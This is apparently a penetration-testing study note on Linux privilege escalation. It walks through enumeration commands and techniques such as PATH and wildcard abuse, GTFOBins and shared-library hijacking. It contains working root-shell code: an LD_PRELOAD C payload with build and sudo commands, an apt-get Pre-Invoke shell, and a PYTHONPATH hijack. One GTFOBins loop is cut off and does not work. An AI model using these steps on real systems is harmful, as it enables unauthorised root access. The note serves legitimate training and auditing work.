This post explains the process of enumerating a linux system in order to find paths to escalate privileges.

Overiview

Automated tools

Manual - General things

These are the general things we will be enumerating in the process below

OS

  • OS Version
  • Kernel Version

Services

  • Running Services: ps aux | grep root
  • Installed Packages and Versions

User

  • whoami, id, hostname
  • User Home Directories
  • Sudo Privileges: sudo -l

Files & Directories

  • Configuration files: .conf & .config
  • Readable Shadow File
  • Password Hashes in /etc/passwd (more common on embedded devices and routers)
  • Writeable Directories
  • Writeable Files
  • SETUID and SETGID Permissions

Cron Jobs

  • Under: /etc/cron*

File Systems

  • Unmounted File System and Aditional Drivers
  • File Systems & Additional Drives

Process of enumeration

1. Gaining Situational Awareness

whoami
id
hostname

cat /etc/os-release

echo $PATH
env

uname -a
lscpu

cat /etc/shells

lsblk    # block devices
lpstat   # printers
cat /etc/fstab

# network information
route
arp -a

cat /etc/passwd
cat /etc/passwd | cut -f1 -d: # usernames
grep "*$" /etc/passwd

cat /etc/group
getent group sudo

ls /home

# file systems
df -h
# unmounted fs
cat /etc/fstab | grep -v "#" | column -t

# hidden files for $USER
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep $USER
# setuid files
find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
# setgid files
find / -uid 0 -perm -6000 -type f 2>/dev/null
# hidden directories
find / -type d -name ".*" -ls 2>/dev/null

ls /var/tmp   # data retained 30 days
ls /tmp       # data retained 10 days or until system reboot

2. Linux Services & Internals Enumeration

ip a

cat /etc/hosts

lastlog # users's last login command
who     # check who's logged in
finger

history
find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null
# finding history files

# Cronjobs
ls -la /etc/cron.*/
cat /etc/crontab

# writeable files (check for cronjob abuse)
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

# proc filesystem is a virtual fs that contains info about system processes, hw, system info
find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"

apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list # list of installed packages
sudo -V  # sudo version
ls -l /bin /usr/bin/ /usr/sbin/ # list of binaries
# compare available binaries against GTFO
for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/

#  analyze system calls and signal processing
strace ping -c1 IP

find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null # configuration files

# Scripts
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
ps aux | grep root
# running services by user

3. Credential Hunting

See Credential Hunting Linux

Environment-based Privilege Escalation

PATH Abuse

What you need:

  1. A higher-privileged process that:
    • Executes a command without absolute path (e.g., just ls, script, etc.).
    • Has a modifiable PATH that you can influence (via environment variables, init scripts, or misconfigurations).
  2. Write access to a directory preceding the legit binary path (e.g., if your dir is before /usr/bin in PATH).

Realistic scenarios:

  • Misconfigured cron jobs or systemd services running as root with PATH=. or a PATH that includes writable dirs (e.g., /tmp, /home/user/bin).
  • SUID binaries or scripts calling other binaries using relative names.
  • Users with sudo rights on scripts that don’t sanitize environment (especially env_reset is disabled in sudoers).

How to check the cronjob’s PATH:

Look for PATH= in:

  • /etc/crontab
  • Files under /etc/cron.d/*

Example:

cat /etc/crontab | grep PATH

Wildcard Abuse

A wildcard character can be used as a replacement for other characters and are interpreted by the shell before other actions. Examples of wild cards include:

Character Significance
* An asterisk that can match any number of characters in a file name.
? Matches a single character.
[ ] Brackets enclose characters and can match any single one at the defined position.
~ A tilde at the beginning expands to the name of the user home directory or can have another username appended to refer to that user’s home directory.
- A hyphen within brackets will denote a range of characters.

Permissions-based Privilege Escalation

Special Permissions

setuid files

find / -user root -perm -4000 -exec ls -ldb {} \; **2**>/dev/null

find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null

setgid files

find / -uid 0 -perm -6000 -type f 2>/dev/null

https://linuxconfig.org/how-to-use-special-permissions-the-setuid-setgid-and-sticky-bits

Serivce-based Privilege escalation

Cron Jobs

We can confirm that a cron job is running using pspy, a command-line tool used to view running processes without the need for root privileges. We can use it to see commands run by other users, cron jobs, etc. It works by scanning procfs.

The -pf flag tells the tool to print commands and file system events and -i 1000 tells it to scan procfs every 1000ms (or every second).

./pspy64 -pf -i 1000

GTFOBins

The GTFOBins project is a curated list of binaries and scripts that can be used by an attacker to bypass security restrictions. Each page details the program’s features that can be used to break out of restricted shells, escalate privileges, spawn reverse shell connections, and transfer files. For example, apt-get can be used to break out of restricted environments and spawn a shell by adding a Pre-Invoke command:

frang4@htb[/htb]$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh# iduid=0(root) gid=0(root) groups=0(root)

If we have sudo over a GTFOBins it’s very likely that we can escalate privileges

Linux Internals-based P.E

Kernel Exploits

These leverage vulnerabilities in the kernel to execute code with root privileges. It is very common to find systems that are vulnerable to kernel exploits. It can be hard to keep track of legacy systems, and they may be excluded from patching due to compatibility issues with certain services or applications.

uname -a

cat /etc/lsb-release

Shared Libraries

Two types of libraries exist in Linux: static libraries (denoted by the .a file extension) and dynamically linked shared object libraries (denoted by the .so file extension). When a program is compiled, static libraries become part of the program and can not be altered. However, dynamic libraries can be modified to control the execution of the program that calls them.

 The shared objects required by a binary can be viewed using the ldd utility.

ldd /path/to/executable

LD_PRELOAD

LD_PRELOAD is an environment variable used by the dynamic linker (ld.so). It tells the linker to load specific shared libraries before any others when starting a dynamic ELF binary. Requisites

  • Dynamically linked binary
  • Binary is not setuid-root
  • Sudo over binary
  • Control over LD_PRELOAD (meaning there’s no env_reset)

Example

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setgid(0);
	setuid(0);
	system("/bin/bash");
}

Compile it

gcc -fPIC -shared -o root.so root.c -nostartfiles

Execute it with LD_PRELOAD

sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

Shared Object Hijacking

Both shared object and shared libraries refer to the same kind of files, .so libraries.

The difference is between attack techniques:

  • One abuses the program’s normal dependency chain (Shared Object Hijacking).
  • The other abuses runtime injection with LD_PRELOAD.

In this case we would also use ldd to identify objects used.

And then use readelf -d /binary/file | grep RUNPATH

Libraries in the RUNPATH folder are given preference over other folders. We can use the library shown in shared libraries for the same purpose.

Python Library Hijacking

PYTHONPATH is an environment variable that indicates what directory (or directories) Python can search for modules to import.

# List contents of PYTHONPATH
python3 -c 'import sys; print("\n".join(sys.path))'

# Find module location
pip3 show <MODULE-NAME>

# Given this permissions as sudo (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3
# We can write the python path and hijack using a custom module from /tmp
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./myscript.py

Hardening

Security auditing tool

https://github.com/CISOfy/lynis

The main goals of Lynis include:

  • Automated security auditing
  • Compliance testing (e.g. ISO27001, PCI-DSS, HIPAA)
  • Vulnerability detection